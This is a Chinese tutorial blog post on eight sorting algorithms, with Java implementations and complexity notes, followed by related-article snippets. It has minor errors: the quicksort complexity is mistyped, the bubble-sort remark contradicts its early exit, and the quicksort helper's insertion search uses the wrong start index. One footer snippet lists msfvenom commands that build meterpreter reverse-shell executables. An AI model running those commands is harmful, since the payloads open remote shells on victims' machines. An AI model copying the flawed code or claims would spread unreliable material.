八大排序之图文详解

news2024/11/24 18:42:37

前言 

在数据结构中,排序是非常重要的内容,也是未来面试和笔试的重点。

本文代码是Java


目录

前言 

一、插入排序

 (一)直接插入排序

(二)希尔排序

二、选择排序

(一)选择排序

(二)堆排序

三、交换排序

(一)冒泡排序

(二)快速排序

四、归并排序

(一)归并排序

五、计数排序

六、其他排序

结语


一、插入排序

 (一)直接插入排序

将一条记录插入到已排好的有序表中,从而得到一个新的、记录数量增1的有序表。

适用于顺序表、链表

排序过程如下:

 代码:

public static void InlineSort(int[] arr){
        for (int i = 1; i < arr.length; i++) {
            if(arr[i] < arr[i-1]){
                int tmp = arr[i];
                int j = i-1;
                for (; j >= 0; j--) {
                    if(arr[j]>tmp){
                        arr[j+1] = arr[j];
                    }else{
                        break;
                    }
                }
                arr[j+1] = tmp;
            }
        }
    }

时间复杂度:O(n^2)

空间复杂度:O(1)

稳定性:稳定

(二)希尔排序

仅适用于顺序表,不适用于链表

记录按下标的一定增量分组,对每组使用直接插入排序算法排序

排序过程如下:

 

 代码:

public static void shellSort(int[] arr){
        int len = arr.length;
        int d = len/2;//组数,数据之间的间距
        while(d >= 1){
            for(int i = 0; i < d; i++){
                for (int j = i+d; j < len; j+=d) {
                    int tmp = arr[j];
                    int k = j-d;
                    for (; k >= 0; k-=d) {
                        if(tmp < arr[k]){
                            arr[k+d] = arr[k];
                        }else{
                            break;
                        }
                    }
                    arr[k+d] = tmp;
                }
            }
            d /= 2;
        }
    }

 时间复杂度:O(n^1.3)

空间复杂度:O(1)

稳定性:不稳定

二、选择排序

(一)选择排序

在未排序序列中找到最小(大)元素,存放到排序序列的起始位置,然后,再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。以此类推,直到所有元素均排序完毕。

顺序表和链表都适用

排序过程:

代码:

public static void selectSort(int[] arr){
        int left = 0;
        int right = arr.length-1;
        while(left < right){
            int min = left;
            int max = right;
            for (int i = left; i <= right; i++) {
                if(arr[i] < arr[min]){
                    min = i;
                }
                if(arr[i] > arr[max]){
                    max = i;
                }
            }
            //交换
            swap(arr,min,left);
            if(left == max){
                max = min;
            }
            swap(arr,max,right);
            left++;
            right--;
        }
    }
    //交换
    public static void swap(int[] arr, int s1, int s2) {
        int tmp = arr[s1];
        arr[s1] = arr[s2];
        arr[s2] = tmp;
    }

时间复杂度:O(n^2)

空间复杂度:O(1)

稳定性:不稳定

该排序与数据是否有序无关

(二)堆排序

建立大根堆 -> 把堆顶与最末尾元素交换,直到建立有序的小根堆

排序过程:

 代码:

    public static void heapSort(int[] arr){
        //使arr成为大根堆
        int len = arr.length;
        for (int i = (len-1-1)/2; i >= 0; i--) {
            shiftDown(arr, i, len-1);
        }
        while(len > 0){
            //将堆顶与堆末尾交换
            swap(arr,0,len-1);
            len--;
            shiftDown(arr,0,len-1);
        }
    }
    //向下调整
    public static void shiftDown(int[] arr, int parent, int k){
        int child = parent*2+1;
        while(child <= k){
            if(child+1<=k && arr[child+1]>arr[child]){
                child++;
            }
            if(arr[child] > arr[parent]){
                swap(arr,parent,child);
                parent = child;
                child = parent*2+1;
            }else{
                break;
            }
        }
    }
    //交换
    public static void swap(int[] arr, int s1, int s2){
        int tmp = arr[s1];
        arr[s1] = arr[s2];
        arr[s2] = tmp;
    }

时间复杂度:O(n*logn)

空间复杂度:O(1)

稳定性:不稳定

该排序与数据是否有序无关

三、交换排序

(一)冒泡排序

比较相邻的元素。如果第一个比第二个大,就交换他们两个

顺序表和链表都适用

排序过程:

代码: 

    public static void bubbleSort(int[] arr){
        int len = arr.length;
        for (int i = 0; i < len-1; i++) {
            boolean ret = true;
            for (int j = 0; j < len-i-1; j++) {
                if(arr[j] > arr[j+1]){
                    swap(arr, j, j+1);
                    ret = false;
                }
            }
            if(ret == true){
                break;
            }
        }
    }
    public static void swap(int[] arr, int s1, int s2){
        int tmp = arr[s1];
        arr[s1] = arr[s2];
        arr[s2] = tmp;
    }

时间复杂度:O(n^2)

空间复杂度:O(1)

稳定性:稳定

该排序与数据是否有序无关

(二)快速排序

本文讲解挖坑法

顺序表和链表都适用

  • 以第一个元素为基准,存储在tmp当中,设置l和r两个下标,寻找比tmp小/大的元素,
  • 先和tmp交换,再互相交换,直到r和l相等或者r小于l,tmp存储的数值赋值给r指向的下标的位置
  • 此时r指向的下标位置把该数据分为两部分,再把这两部分按照上面的步骤进行排序,直到每一个部分只有一个元素或零个元素为止

 代码:

    public static void quickSort(int[] arr){
        quickSortFunc2(arr,0,arr.length-1);
    }
    //基准 左右不断递归
    public static void quickSortFunc2(int[] arr, int left, int right){
        //出递归条件
        if(left >= right) return;
        //优化 当left right中间数字较少时,进行直插
        if(right-left+1 <= 7){
            insertSort(arr,left,right);
            return;
        }
        //基准下标
        int index = quickSortFunc1(arr,left,right);
        quickSortFunc2(arr,left,index-1);
        quickSortFunc2(arr,index+1,right);
    }
    //直插
    public static void insertSort(int[] arr,int left1, int right1){
        for (int i = left1+1; i <= right1; i++) {
            int tmp = arr[i];
            //最左边下标
            int left = 0;
            //最右边下标
            int right = i-1;
            while(left <= right){
                int mid = (left+right)/2;
                if(tmp < arr[mid]){
                    right = mid-1;
                }else{
                    left = mid+1;
                }
            }
            for (int j = i-1; j >= right+1; j--) {
                arr[j+1] = arr[j];
            }
            arr[right+1] = tmp;
        }
    }
    //找基准,划分基准左右
    public static int quickSortFunc1(int[] arr, int left, int right){
        int mid = (left+right)/2;
        int index = mid;
        if(arr[left] < arr[right]){
            if(arr[mid] < arr[left]){
                index = left;
            }else if(arr[mid] > arr[right]){
                index = right;
            }
        }else{
            if(arr[mid] < arr[right]){
                index = right;
            }else if(arr[mid] > arr[left]){
                index = left;
            }
        }
        swap(arr,index,left);
        int tmp = arr[left];
        while (left < right){
            while(left < right && arr[right] >= tmp){
                right--;
            }
            arr[left] = arr[right];
            while(left < right && arr[left] <= tmp){
                left++;
            }
            arr[right] = arr[left];
        }
        arr[left] = tmp;
        return left;
    }
    //交换
    public static void swap(int[] arr, int s1, int s2){
        int tmp = arr[s1];
        arr[s1] = arr[s2];
        arr[s2] = tmp;
    }

时间复杂度:O(n^logn)

空间复杂度:O(log n)

稳定性:不稳定

四、归并排序

(一)归并排序

代码:

    public static void mergeSort(int[] arr){
        mergeSortFunc1(arr,0,arr.length-1);
    }

    //合并
    public static void mergeSortFunc1(int[] arr, int left,int right){
        if(left>=right) return;
        int mid = (right+left)/2;
        mergeSortFunc1(arr,left,mid);
        mergeSortFunc1(arr,mid+1,right);
        mergeSortFunc2(arr,left,mid,right);
    }
    //插入
    public static void mergeSortFunc2(int[] arr,int left, int mid, int right){
        int[] arr1 = new int[right-left+1];
        int i = 0;
        int tmp =left;
        int left2 = mid+1;
        while(left<=mid && left2<=right){
            if(arr[left] < arr[left2]){
                arr1[i++] = arr[left++];
            }else{
                arr1[i++] = arr[left2++];
            }
        }
        while(left<=mid){
            arr1[i++] = arr[left++];
        }
        while(left2<=right){
            arr1[i++] = arr[left2++];
        }

        for (int j = 0; j < i; j++) {
            arr[tmp+j] = arr1[j];
        }
    }

时间复杂度:O(n*logn)

空间复杂度:O(n)

稳定性:稳定

该排序与数据是否有序无关

五、计数排序

  1. 统计相同元素出现次数
  2. 根据统计的结果将序列回收到原来的序列

代码:

public static void CountSort(int[] arr){
        int min = arr[0];
        int max = arr[0];
        for (int i = 1; i < arr.length; i++) {
            if(arr[i] < min){
                min=arr[i];
            }
            if(arr[i] > max){
                max = arr[i];
            }
        }
        int[] arr1 = new int[max-min+1];

        for (int i = 0; i < arr.length; i++) {
            arr1[arr[i]-min]++;
        }
        int k = 0;
        for (int i = 0; i < arr1.length; i++) {
            while(arr1[i]-- > 0){
                arr[k++] = min+i;
            }
        }
    }

六、其他排序

基数排序(无比较排序):

创建十个的队列(依次代表 0 1 2 3 4 5 6 7 8 9),从所有数据的最高位开始入队列再出队列,直到根据个位数的数据完成出队列时,总数据完成排序。

 桶排序:

创建对应的桶,桶内排序。


结语

本文排序都是递归写法,如果对非递归写法有兴趣了解,可以点击Yjun6/DataStructrue: data_structrue (github.com)

排序有很多,期待我们下次再见!

小编能力有限,有问题和疑惑评论区见哦~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/609051.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【CSS3系列】第六章 · 2D和3D变换

写在前面 Hello大家好&#xff0c; 我是【麟-小白】&#xff0c;一位软件工程专业的学生&#xff0c;喜好计算机知识。希望大家能够一起学习进步呀&#xff01;本人是一名在读大学生&#xff0c;专业水平有限&#xff0c;如发现错误或不足之处&#xff0c;请多多指正&#xff0…

通义千问预体验,如何让 AI 模型应用“奔跑”在函数计算上?

立即体验基于函数计算部署通义千问预体验&#xff1a; https://developer.aliyun.com/topic/aigc_fc AIGC 浪潮已来&#xff0c;从文字生成到图片生成&#xff0c;AIGC 的创造力让人惊叹&#xff0c;更多人开始探索如何使用 AI 提高生产效率&#xff0c;激发更多创作潜能&…

android jetpack Room的基本使用(java)

数据库的基本使用 添加依赖 //roomdef room_version "2.5.0"implementation "androidx.room:room-runtime:$room_version"annotationProcessor "androidx.room:room-compiler:$room_version"创建表 Entity表示根据实体类创建数据表&#xff0c…

Linux基础篇 Ubuntu 22.04的环境安装-02

目录 一、资料的获取 二、安装虚拟机 三、安装Ubuntu过程 四、注意事项 一、资料的获取 1.通过官方网站下载 Ubuntu系统下载 | Ubuntuhttps://cn.ubuntu.com/download2.下载桌面板即可 3.选择下载的版本 二、安装虚拟机 1.创建新的虚拟机 2.选择自定义安装 3.硬件兼容性选…

Zinx框架学习 - 请求与路由模块实现

Zinx - V0.3 请求与路由模块实现 在zinxV0.2中链接只封装了套接字&#xff0c;而请求是封装了链接和用户传输的数据&#xff0c;后续通过请求来识别具体要实现什么功能&#xff0c;然后通过路由来完成对应的功能处理。conn链接的业务处理HandleFunc是固定写死的&#xff0c;接…

【YOLO系列】YOLO v4(网络结构图+代码)

文章目录 how to compile on Linux(using cmake)yolo v4 测试 网络结构route 和shotcutNeckHead Loss参考 YOLO v4是YOLO系列的第三篇&#xff0c;YOLO v4融合了大量的检测小技巧&#xff0c;为了能够更快地理解YOLO v4&#xff0c;可先查看前两篇文章。 【YOLO系列】YOLO v3&a…

K8s架构(五)

K8s的物理架构是master/node模式&#xff1a; K8s集群至少需要一个主节点(Master)和多个工作节点(Worker)&#xff0c;Master节点是集群的控制节点&#xff0c;负责整个集群的管理和控制&#xff0c;主节点主要用于暴露API&#xff0c;调度部署和节点的管理。工作节点主要是运…

【Spring学习】Bean对象的作用域和生命周期,了解了这些你就真正熟悉spring框架了.

前言: 大家好,我是良辰丫,我们已经学会了Spring的存取,今天我们将一起来学习Bean对象的作用域和生命周期.&#x1f48c;&#x1f48c;&#x1f48c; &#x1f9d1;个人主页&#xff1a;良辰针不戳 &#x1f4d6;所属专栏&#xff1a;javaEE进阶篇之框架学习 &#x1f34e;励志语…

单源最短路的综合应用

1.新年好&#xff08;dfs最短路&#xff09; 信息学奥赛一本通&#xff08;C版&#xff09;在线评测系统 (ssoier.cn)http://ybt.ssoier.cn:8088/statusx.php?runidx17472125 先两两求一遍最短路&#xff0c;求一个地方到另一个地方的最短路&#xff0c;在枚举5个拜访的顺序…

Vue3 小兔鲜:Layout-静态模版结构搭建

Vue3 小兔鲜4&#xff1a;Layout-静态模版结构搭建 Date: May 31, 2023 目标效果&#xff1a; 分成Nav、Heade、二级路由出口、Footer区域 组件结构快速搭建 Nav <script setup></script><template><nav class"app-topnav"><div clas…

Android和windows(msf渗透)

msf生成木马的语句 #windows#x64 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT7777 -f exe > shell.exe#x68 msfvenom -p windows/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT5555 -a x86 --platform Windows -f exe > shell.exe#linux msfven…

【TOP生物信息】使用R包Symphony自动注释细胞类型

扫码关注下方公粽号&#xff0c;回复推文合集&#xff0c;获取400页单细胞学习资源&#xff01; 本文共计1884字&#xff0c;阅读大约需要6分钟&#xff0c;目录如下&#xff1a; Symphony 包基本介绍 Symphony 包安装 Symphony 包使用 1.使用已有的参考数据集进行细胞注释2…

LinuxC编程——文件IO

目录 一、概念⭐⭐二、特点⭐⭐⭐三、函数⭐⭐⭐⭐3.1 打开文件 open3.2 关闭文件 close3.3 读写操作3.4 定位操作 lseek 四、文件IO与标准IO的对比脑图 在C语言的标准IO库中的库函数&#xff0c;如fclose、fopen,、fread、fwrite&#xff0c;提供的是高层服务&#xff1b;而Li…

数据在内存中的存储(超详细讲解)

目录 浮点数家族 浮点数类型在内存中的存储 一.为什么说整型和浮点数在内存中存储方式不同&#xff08;证明&#xff09; 二.浮点数的存储规则 浮点数在计算机内部的表示方法 1.对于M的存储和取出规则 2.对于E的存储和取出时的规则 对前面代码结果进行解释&#xff1a; …

Kubernetes_APIServer_证书_03_四个静态Pod Yaml文件解析

文章目录 前言一、APIServer Yaml文件解析APIServer证书文件APIServer三种探针启动探针可读性探针生存性探针 APIServer其他参数APIServer其他配置项 二、Scheduler Yaml文件解析Scheduler证书配置Scheduler两个探针启动探针生存性探针 Scheduler其他参数Scheduler其他配置项 三…

测试各种变量是否是线程安全的

前提条件,把这个类设成是单例模式,也就是说,这个类只能创建一个对象,然后多个线程在一个对象中去争抢资源. 1.int类型的成员变量number, (private int number) 线程共享 public class Stu {private int number;private String age;private String math;private i…

【sentinel】漏桶算法在Sentinel中的应用

漏桶算法 漏桶算法介绍 漏桶算法&#xff0c;又称leaky bucket。 从图中我们可以看到&#xff0c;整个算法其实十分简单。首先&#xff0c;我们有一个固定容量的桶&#xff0c;有水流进来&#xff0c;也有水流出去。对于流进来的水来说&#xff0c;我们无法预计一共有多少水…

内存池技术

为了学习池化技术以及后续自行实现一个仿tcmalloc的线程池&#xff0c;我们先浅浅的学习一下池化的概念&#xff0c;以及简单的实现一个定长的内存池。 文章目录 一&#xff1a;池化技术二&#xff1a;内存池三&#xff1a;内存池主要解决的问题四&#xff1a;malloc五&#x…

原地顺时针旋转矩阵(leetcode 48.选择图像)

本题目在leetcode上有原题48. 旋转图像 详细讲解 顺时针旋转90&#xff0c;横变竖&#xff0c;竖变横。按圈分解&#xff0c;一圈圈的单独转&#xff0c;由外圈到内圈&#xff0c;不断分解。 每一圈转到位了&#xff0c;整个矩阵就旋转好了。 那么&#xff0c;问题来了&…

Photoshop史上最强更新,动动手指就能让AI替你修图

Photoshop 在最新的 Beta 版本中&#xff0c;融入了 Firely 智能 AI 创意填充功能&#xff0c;只要对图片进行简单地框选&#xff0c;就能实现生成对象、生成背景、扩展图像、移除对象以及更多创意功能&#xff0c;支持用自然语言输入指令&#xff0c;让 AI 替你完成创意填充。…